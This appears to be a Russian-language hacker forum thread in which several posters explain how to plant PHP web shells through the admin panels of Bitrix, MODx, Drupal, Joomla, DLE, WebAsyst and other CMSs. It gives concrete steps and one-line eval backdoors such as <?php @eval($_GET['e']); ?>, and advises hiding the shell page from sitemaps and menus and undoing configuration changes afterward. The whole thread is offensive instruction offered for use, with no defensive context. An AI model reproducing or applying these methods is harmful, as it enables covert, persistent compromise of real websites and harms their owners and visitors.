Заливка шелла в CMS

[Nightmare]

Почему то никто про Bitrix не написал, там есть выполнение php кода, собственно пруф:
http://site.ru/bitrix/admin/php_command_line.php?lang=ru
И профит.

[[Dark Green]]

В дополнение к теме о Bitrix...

Офф. сайт: 1c-bitrix.ru
Версия: 10.0.1

site/bitrix/admin/iblock_element_edit.php?WF=Y&ID=[id]&type=books&lang=ru&IBLOCK_ID=[id]&find_section_section=[id]

Добавляем файл, заменяем вкладку "компьютер"(открыта по умолчанию) на "структура", юзаем импорт файлов, который в отличии от своих аналогов пропускает .php. Каталог выбираем сами)

PS: Nightmare, у битрикса куча редакций и версий)

[pres]

Сообщение от Twost

CMS: LiveStreet
Site: http://livestreet.ru/

1) Статические страницы http://www.site.com/admin/pages/list/
2) Добавляем новую http://www.site.com/admin/pages/new/
3) В поле текст пишем

Это работает только, если установлен специальный хак http://livestreet.ru/blog/tips_and_tricks/2262.html

[ont]

MODx (evolution)
Первый способ:
Разрешаем загрузку файлов php в "инструменты" --> "конфигурация" --> "файл-менеджер" (добавляем расширение php). Заливаемся через "элементы" --> "управление файлами".

Второй способ:
Выполнение кода осуществляется через сниппеты.

• элементы --> управление элементами --> сниппеты
• создаем сниппет. Пусть его имя будет Snip. В коде сниппета пишем код php с тегами <?php ?>
• добавляем сниппет в код любой страницы. Для этого отключаем визуальный редактор и вписываем в любое место html-кода (знаки ! запрещают MODx кэширование результата выполнения сниппета):
  

  [!Snip!]

• открываем сохраненную страницу в режиме просмотра и отправляем нужные POST/COOKIE параметры.

[Svet]

Drupal 6
нужны права админа или околоадмина (то есть роль пользователя должна иметь возможность использовать вставки php-кода в контент)

http://site/admin/settings/filters/3 - тут смотреть настройки php input format
http://site/admin/user/roles - тут описание ролей и права
http://site/admin/user/user - список пользователей и их данные

В дампе БД смотреть таблицы:
users - данные пользователей.
user_roles - роли пользователей (не описание ролей, а именно у кого какие роли)
role, rules_rules - описания ролей

Заливки:
http://site/admin/build/block
Создаем новый блок.
В Input format выбираем php.
В Block body вводим код шелла (например, <?php @eval($_GET['e']); ?>).
Сохраняем. Теперь надо привязать блок к какому-то региону. Привязываем. Сохраняем. Профит.
Теперь на любой странице, где используется этот регион, можно будет использовать шелл (где какой регион используется, можно определить по их названиям).

http://site/node/add
Тут во многих разделах можно создавать файлы с PHP-кодом. Посмотрим на примере page:
http://site/node/add/page
Создаем новую страницу.
В Input format выбираем php.
В Body вводим код шелла.
В XML sitemap в Priority ставим Not in sitemap.
В Menu settings в Parent item ставим какую-нибудь отключенную ветку.
В URL path settings снимаем галочку с Automatic alias и в поле ввода пишем какой-нибудь замысловатый относительный(!) url.
Сохраняем. Готово.

[faza02]

_ucms

админка — site/_ucms/
с проблемой справился так:

1. заходим в «admin templates», выбираем любую категорию
2. ставим галочку на «secure_gallery»
3. переходим на вкладку «admin sections», выбираем раздел
4. там где «secure image gallery» жмем, new image, грузим шелл, жмем view
5. PROFIT

[}{оттабыч]

Сообщение от CyberHunter

Тестировал на: Joomla! 1.5
Требования: Доступ в админку.
Заходим в админку, находим там Global Configuration. Там же переходим на вкладку System. Находим Legal Extensions (File Types) и прописываем туда нужное расширения (т.е. php) и сохраняем.
Дальше заходим в Media Manager, выбираем папку для будущего шелла, открываем ее, выбираем файл который будем заливать (т.е. веб-шелл) нажимаем Start Upload File.
Шелл будет находится в папке images (по дефолту) или в той папке которую вы выбрали, типа: joomlasite.com/images/papka_s_shellom.
Работает на joomla! 1.5, но встречались не полные админки, в которых не было возможности заливать файлы (тупо не было такой кнопки), вот там и нет возможности залить шелл данным способом.

Check MIME Types еще надо отключать если включено, на вкладке System, и не забыть все на свое место поставить после всех действий.

[faza02]

смотря какая dle
<=8.5

1. admin.php → статистические страницы → создаем любой новый (например system.html), показывать «только администраторам», в окно <?php eval($_GET[e]); ?>, выбираем «html без фильтрации», сохраняем
2. http://site.ru/[dlepath]/system.html

[faza02]

WebAsyst

у Konqi в видео, показано, как залить через редактирование шаблона, но сегодня попалась версия, где пхп код не исполнялся.

1. нужны права админа, заходим в site/system/
2. жмем «магазин», далее — «настройки»
3. выбираем «альтернативы оформлению заказа»
4. включаем «PayPal Website Payments Pro - Express Checkout»
5. где «сертификат paypal» выбираем наш шелл, жмем сохранить
6. наш шелл по адресу site/data/SHOP/attachments/SC/temp/shell.php

[nomad]

Сегодня попался Друпал, где нельзя было просто "написать" php код в теле страницы.
Решение:
1) admin/settings/uploads, в поле "Default permitted file extensions" добавляем нужное нам расширение (например, php3)
2) admin/settings/file-system, смотрим File system path, по умолчанию это sites/default/files. Т.к. php файлы, залитые в эту папку, при обращении к ним просто предлагается скачать, благодаря htaccess, лежащему в этой папке, меняем это значение на sites/default/. Сохраняем.
3) идем node/add/page, выбираем добавление файла "File attachments", заливаем наш шелл, видим ссылку вида "http://drupal6/sites/default/shell.php3"


Drupal 7:
1) активируем модуль "Update manager"
2) на этой же странице выбираем "Install new module"
3) заливаем архив
4) шелл будет по адресу http://drupal7/sites/all/modules/shell/tests/wso.php

PS Перезалейте кто-нибудь на сервер архив, у меня прав нет